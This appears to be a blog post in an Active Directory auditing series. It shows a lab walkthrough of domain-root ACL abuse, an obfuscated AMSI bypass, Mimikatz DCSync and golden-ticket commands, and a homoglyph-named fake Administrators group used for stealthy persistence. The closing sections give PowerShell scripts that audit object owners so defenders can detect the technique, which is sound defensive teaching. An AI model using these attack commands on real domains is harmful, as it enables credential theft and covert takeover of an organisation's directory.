Do You Know Who Owns Your Domain?

10 min readJun 28, 2022

TL;DR walkthrough of a potential TTP for sneaky persistence. This idea was borrowed from a popular phishing TTP.

Welcome to Part IX of our Auditing AD Series.

Part I: 3 warm up questions to get us started

Part II: Who can reset the CISO’s password?

Part III: Who can execute DCSync?

Part IV: Who can modify the Domain Admins group?

Part V: Domain dominance in minutes via ACL abuse (i.e. why auditing AD matters)

Part VI: Why Allow statements matter a LOT more than Deny ones

Part VII: Sneaky persistence via hidden objects in AD

Part VIII: SDDL, what is it, does it matter?

Part IX: Do you know who owns your domain?

Part X: Who can push ransomware via Group Policy?

Part XI: Free ways to simplify auditing AD

Part XII: Sidenote on arcane rights like Self

Part XIII: Sidenote on the ScriptPath right

Part XIV: Self & so called “Effective Permissions”

Part XV: Inheritance Explained & an Example

Part XVI: Summary of our Auditing AD Series

Annex A: Scrubbing Group Policy for local admins

Annex B: What Property Sets in AD are, & why they matter

Annex C: Dangerous Rights & RE GUIDs Cheatsheet

Annex D: Mishky’s Blue Team Auditor

Annex E: Even ChatGPT gets this stuff wrong

Annex F: Get-ADPermission Cheatsheet

Annex G: Mishky’s Red Team Enumerate & Attack tools

A potential TTP for sneaky persistence

Anything look off here? Who owns this domain?


This scenario was posed by Paramount Defenses here:

“By “effectively” what we mean is the following — consider that a user John Doe is a member of two groups, Group X and Group Y. Further consider that in the ACL of the domain root, the following permissions exist for Group X and Group Y -

Deny Group X All Extended Rights

Allow Group Y Full Control

Note — As you may know, each of the above is an ACE (access control entry) in an ACL (access control list), and each ACE either allows or denies either a generic or a a specific type of permission to a specific security principal.

Consequently, one might rightly assume that for starters we need to consider ALL ACEs in the ACL that specify either one of the following permissions — “Get Replication Changes” extended right, “Get Replication Changes All” extended right, All Extended Rights and Full Control.

Note: Some pros like to include the impact of being able to modify permissions on the ACL at this stage, but that is strictly speaking, an entirely separate entitlement/administrative task, which is why, strictly speaking, it need not be taken into account at this stage.”

Scenario Setup

If you want to follow along with this, you can quickly set this up in the lab:

#Create GroupX, Deny Extended all 0s
#Create GroupY, Allow GenericAll
#Add Insider to both groups
Import-Module ActiveDirectory
Set-Location AD:
New-ADGroup -GroupScope Global -GroupCategory Security -Name “GroupX” -Path ‘ou=user accounts,dc=corp,dc=local’ -DisplayName “GroupX” -SamAccountName “GroupX”New-ADGroup -GroupScope Global -GroupCategory Security -Name “GroupY” -Path ‘ou=user accounts,dc=corp,dc=local’ -DisplayName “GroupY” -SamAccountName “GroupY”$acl = Get-Acl “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupX”).SID.Value
#Deny ExtendedRight with GUID all 0s (
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”DENY”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl
$acl = Get-ACL “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupY”).SID
#Allow GenericAll
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”GenericAll”,”ALLOW”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl
Add-ADGroupMember -Identity “GroupX” -Members Insider
Add-ADGroupMember -Identity “GroupY” -Members Insider

I already had an account ready to use, but you can create one by simply

New-ADUser -DisplayName “Malicious Insider” -SamAccountName “Insider” -UserPrincipalName “Insider@corp.local” -Path ‘ou=user accounts,dc=corp,dc=local’

I added them to a group I created called RDP Users, which is allowed to RDP into domain workstations, but don’t worry about that if you’re not running your lab in ESXi. The specifics of setting up a domain workstation or two and the DC in VMware’s free ESXi is best left for another article.

What would an attacker do in this case?

We have already covered much of this in prior parts of this series, such as here. We are using everyone’s favorite insider threat in this lab; our old account ‘Malicious Insider’, SamAccountName = Insider. This Domain User is mischievous, and they know how to Google. They enumerate what groups they are in and what privileges those groups have.

Upon seeing this they simply modify the domain root’s ACL in order to remove the deny ACE:

$acl = Get-ACL “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupX”).SID
#Change Deny ExtendedRight with GUID all 0s to Allow (
$acl.RemoveAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”DENY”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl

They then abuse their new found privileges to grab the krbtgt hash, forge a ticket, and use it:

#AMSI Bypass, dump krbtgt, forge a ticket
S`eT-It`em ( ‘V’+’aR’ + ‘IA’ + (‘blE:1’+’q2') + (‘uZ’+’x’) ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( Get-varI`A`BLE ( (‘1Q’+’2U’) +’zX’ ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f(‘Uti’+’l’),’A’,(‘Am’+’si’),(‘.Man’+’age’+’men’+’t.’),(‘u’+’to’+’mation.’),’s’,(‘Syst’+’em’) ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f(‘a’+’msi’),’d’,(‘I’+’nitF’+’aile’) ),( “{2}{4}{0}{1}{3}” -f (‘S’+’tat’),’i’,(‘Non’+’Publ’+’i’),’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} )
Import-Module C:\Temp\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command ‘“lsadump::dcsync /user:corp\krbtgt”’
Invoke-Mimikatz -Command ‘“kerberos::golden /User:Administrator /domain:corp.local /sid:S-1–5–21–1917967189–4054103991–136247481 /krbtgt:cb542d2484aae7b5156c9a1a7bbb31e7 id:500 /ticket:golden.kirbi”’
Invoke-Mimikatz -Command ‘“kerberos::ptt golden.kirbi”’

They can now impersonate whoever they want at will. That’s great, we’ve covered this before though.

Here is where things get interesting

Let’s say they want to maintain persistence. They want to use a sneaky persistence mechanism, and they figure that some organizations are not checking their ACLs in AD … and many are probably not checking who owns them. Therefore they figure that one way to maintain sneaky persistence is to change who owns the domain root. However, they do not want this change to be easily noticeable.

What to do? Why not borrow an old phisher’s TTP, namely use a non-standard character that looks like an English letter but isn’t one? After all AD lets us do this.

New-ADObject -Name “𝖡uiltin” -Type “Container” -Path “dc=corp,dc=local”
New-ADGroup -Name “ꓮdministrators” -DisplayName “Administrators” -Path “cn=𝖡uiltin,dc=corp,dc=local” -SamAccountName “ꓮdministrators” -GroupScope Global
$acl = Get-Acl “AD:\CN=ꓮdministrators,CN=𝖡uiltin,DC=corp,DC=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity “Insider”).SID
Set-ACL “AD:\CN=ꓮdministrators,CN=𝖡uiltin,DC=corp,DC=local” $acl
$acl = Get-Acl “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “ꓮdministrators”).SID
Set-ACL “AD:\dc=corp,dc=local” $acl

Now a fake Administrators group owns the domain, and Malicious Insider owns that group. Insider did not change any ACLs, nor did they add any users to that group … yet. Later on, at a time of their choosing, they could give themselves rights to the fake Administrators group, add themselves, change the domain’s ACL, and then do whatever they want. If they have a script ready to go then this can be done in seconds.

If they want to be sly they can put the deny back in also:

#Put the orginal deny on GroupX back in
$acl = Get-ACL “AD:\dc=test,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupX”).SID
#Deny ExtendedRight with GUID all 0s (
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”DENY”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=test,dc=local” $acl

It’s a moot point now. They have the krbtgt hash and they own the domain. They have two methods of persistence.

So how do we check for this?

Much like the sneaky persistence mechanism of hiding objects in an OU covered here, this post exploitation TTP really only works if you are not looking for it.

One technique is of course to include checking the current owner in your queries. If you are paranoid or threat hunting then you can query the current owner of the HVT objects such as the domain root, the AdminSDHolder, etc. An easy but not necessarily complete way to make a quick & dirty list of HVTs is below:

Get-ADGroupMember -Identity (Get-ADGroup -Filter {adminCount -eq 1} -Properties *).Name -Recursive

Then just feed your list into a query:

Import-Module ActiveDirectory
Set-Location AD:
$ErrorActionPreference = ‘SilentlyContinue’
$list = @()
#Modify this if you have a forest with multiple domains
$domains = (Get-ADDomain).DistinguishedName
ForEach ($domain in $domains)
$owner = ((Get-Acl $domain).Owner).split(“\”)[1]
$x = (Get-ADGroup -Identity $owner).Name
$y = ((Get-ADGroup -Identity $owner).DistinguishedName)
$z = (Get-ADGroup -Identity $owner).SID.Value
#Get the Owner of EA object by Name, DN, & SID
$info = @{
“Owner’s Name”=$x
“Owner’s SID”=$z
“Owner’s DN” =$y
$list += New-Object psobject -Property $info
$list | Export-Csv ‘C:\Temp\PostResults.csv’ -Append -NoTypeInformation
$list2 = @()
#Modify this if you have a forest with multiple domains
$domains = (Get-ADDomain).DistinguishedName
ForEach ($domain in $domains)
$holder = ((Get-Acl “cn=AdminSDHolder,cn=System,$domain”).Owner).split(“\”)[1]
$a = (Get-ADGroup -Identity $holder).Name
$b = ((Get-ADGroup -Identity $holder).DistinguishedName)
$c = (Get-ADGroup -Identity $holder).SID.Value
#Get the Owner of EA object by Name, DN, & SID
$info2 = @{
“Owner’s Name”=$a
“Owner’s SID”=$c
“Owner’s DN” =$b
$list2 += New-Object psobject -Property $info2
$list2 | Export-Csv ‘C:\Temp\PostResults.csv’ -Append -NoTypeInformation
$results = @()
#$Objects = (Get-ADObject -Filter * -SearchBase ‘ou=user accounts,dc=corp,dc=local’).DistinguishedName
$Objects = (Get-ADGroup -Filter {adminCount -eq 1} -Properties *).Name
ForEach ($object in $Objects)
$group = ((Get-Acl (Get-ADGroup $object -Properties *).DistinguishedName).Owner).split(“\”)[1]
$x = (Get-ADGroup -Identity $group).Name
$y = ((Get-ADGroup -Identity $group).DistinguishedName)
$z = (Get-ADGroup -Identity $group).SID.Value
#Get the Owner of EA object by Name, DN, & SID
$info3 = @{
“Owner’s Name”=$x
“Owner’s SID”=$z
“Owner’s DN” =$y
$results += New-Object psobject -Property $info3
$results | Export-Csv ‘C:\Temp\PostResults.csv’ -Append -NoTypeInformation

This will then create an easy to skim CSV with the added bonus that any sneaky fake admin groups that are using non-standard characters will show up immediately. Below we see the fake ‘Administrators’ group in the fake ‘Builtin’ container, sticking out like a sore thumb due to how CSV exported the non-standard ‘A’ and ‘B’.

If you actually see something like this in the wild you would want to initiate your incident response plan. It is highly likely that an attacker breached your network and now owns your domain.

Alternatively, you can also just check the owner of everything against a whitelist:

Import-Module ActiveDirectory
Set-Location AD:
$ADRoot = (Get-ADDomain).DistinguishedName
$ADCS_Objects = (Get-ADObject -Filter * -SearchBase $ADRoot).DistinguishedName
$Safe_Users = “Domain Admins|BUILTIN\\Administrators|NT AUTHORITY\\SYSTEM”
ForEach ($object in $ADCS_Objects)
$BadOwner = (Get-Acl $object -ErrorAction SilentlyContinue).Owner -notmatch $Safe_Users
If ($BadOwner)
Write-Host “Object: $object” -ForegroundColor Red
(Get-Acl $object -ErrorAction SilentlyContinue).owner

Of course your SIEM should be alerting on changes to these objects anyway.


Please note that a real attacker would probably change the AdminSDHolder. I didn’t want to make a permanent change, so I did not do that. By default the process runs every hour and sets the ACL on protected objects back to what is specified in AdminSDHolder. Of course if you start screwing around with the AdminSDHolder than you can also affect all the objects that it covers. The frequency at which it runs can be changed in the registry of the DC that is the PDC emulator (FSMO roles are covered here, if you are curious what the PDC emulator is). We can see from remotely querying the registry that the default has not been changed.

Invoke-Command -ScriptBlock {Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\} -ComputerName DC

If you want to change it then create a DWORD named AdminSDProtectFrequency and set it to anything between 60 and 7200. Please note that this is NOT recommended by Microsoft.


The idea of using ownership of a HVT in AD to maintain sneaky persistence was banging around in my head for awhile. I did not see much about it on Google, so I wanted to test it out in the lab. The given scenario was a good jumping off point, since Malicious Insider had WriteOwner and WriteDACL privileges to the domain root.

Bear in mind that the owner has implicit WriteDACL privileges, even if it is not listed in the ACL. Therefore if someone is either the owner already or has WriteOwner or WriteDACL then they effectively own that object and can take whatever action they want.

Additionally, I am not all that creative or original. If I have thought of something then someone else has already done it. They may not be the type of person who shares information though.


Scenario used as a jumping off point:

MS on default HVTs:,in%20Administrators%20(BA)%20group.

Various TTPs to dump hashes from AD:

Exporting arrays to CSV:

Default HVTs:

Scanning for HVTs:

Well known SIDs:

Object ownership in AD:

Querying the registry:

AdminSDHolder & SDPROP:

Ned Pyle’s FAQ on SDPROP:

Set-Acl documentation:

Technet example, remove an ACE:

Non-standard characters:




I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.